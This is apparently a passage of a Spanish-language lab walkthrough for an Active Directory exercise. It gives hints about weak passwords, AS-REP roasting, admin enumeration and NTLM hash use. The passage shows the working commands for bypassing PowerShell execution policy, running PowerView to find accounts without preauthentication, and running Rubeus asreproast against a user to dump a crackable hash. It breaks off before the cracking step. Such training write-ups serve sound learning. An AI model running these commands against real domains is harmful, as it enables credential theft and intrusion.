Pistas:

• Task 1: Log in as a user with a weak password, i.e., 'password1'
• Task 2: Identify accounts with 'Do not require preauthentication' enabled
• Task 3: Enumerate domain and local admin privileges and establish a remote session
• Task 4: Extract and use the NTLM hash of a vulnerable machine account to gain access to the domain controller

Empezamos con la pista 1 que es bastante obvia, abrimos directamente RDP y probamos esa password.

Tarda bastante en hacer login y cargar.

Pues vamos con la pista numero 2, dice que debemos buscar cuentas que tengan setteado Do not require preauthentication

Por tanto, abrimos una powershell.

cd C:\Tools\
powershell -ep bypass
. .\PowerView.ps1
Get-DomainUser | Where-Object { $_.UserAccountControl -like "*DONT_REQ_PREAUTH*" }

Como podemos ver, hay un user johnny al que podemos hacerle AS-REP Roasting.

.\Rubeus.exe asreproast /user:johnny /outfile:johnhash.txt

Ahora debemos crackear la password, vamos a abrir el explorador de archivos y haremos lo siguiente: